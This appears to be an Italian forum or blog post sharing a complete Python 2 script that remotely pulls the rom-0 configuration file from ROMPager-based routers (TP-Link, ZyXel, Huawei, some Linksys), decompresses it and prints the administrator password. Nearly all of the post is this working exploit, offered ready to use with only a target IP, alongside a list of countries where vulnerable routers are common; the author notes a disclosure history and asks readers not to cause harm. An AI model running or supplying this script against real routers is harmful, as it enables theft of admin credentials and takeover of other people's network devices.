Hacking dei router che utilizzano ROMPager completamente da remoto

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l'ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import *
import urllib2
 
##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
##############################################################
 
import collections
 
class BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    def __init__(self, bytes):
        self._bits = collections.deque()
 
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
 
    def getBit(self):
        return self._bits.popleft()
 
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
 
    def getByte(self):
        return self.getBits(8)
 
    def __len__(self):
        return len(self._bits)
 
class RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
 
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def LZSDecompress(data, window = RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader = BitReader(data)
    result = ''
 
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    # EOF
                    break
            else:
                offset = reader.getBits(11)
 
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
 
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    return result, window


class Object:
  def __init__(self,blockdata,data):
    self.name = data[:14].strip("\x00")
    self.uncompsize = unpack(">H",data[14:16])[0]
    self.compsize = unpack(">H",data[16:18])[0]
    self.offset = unpack(">H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data = blockdata[self.offset:self.offset+self.compsize]
    #print [self.data]
    if self.name == "spt.dat":
      data2 = self.data
      self.data = ""
      index = 12
      while index < self.uncompsize:
        orgsize = unpack(">H",data2[index:index+2])[0]
        rawsize = unpack(">H",data2[index+2:index+4])[0]
        #print orgsize,rawsize
        self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]
        index += rawsize
      print "Password:",self.data[20:].split("\x00")[0]
class Block:
  def __init__(self,data):
    self.blocknumber = ord(data[0])
    self.unk1 = ord(data[1])
    self.objectcount = unpack(">H",data[2:4])[0]
    self.blocklength = unpack(">H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects = []
    for i in range(0,self.objectcount):
      self.objects.append(Object(data,data[6+20*i:]))
blocks = []
f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])
# = open(sys.argv[1],"rb")
d = f.read()
mem = Block(d[0x0:])
a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui